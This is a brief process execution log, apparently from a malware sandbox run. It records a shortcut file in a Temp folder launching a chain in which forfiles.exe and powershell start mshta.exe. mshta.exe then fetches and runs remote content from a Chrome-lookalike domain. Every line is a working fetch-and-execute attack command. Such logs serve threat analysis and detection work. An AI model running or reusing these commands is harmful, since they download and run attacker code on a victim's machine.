cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "HihU" C:\Users\test22\AppData\Local\Temp\123123123.lnk
1948forfiles.exe "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta http://ua-chrome.tech/123123123"
2172mshta.exe "C:\Windows\system32\mshta.exe" http://ua-chrome.tech/123123123
2352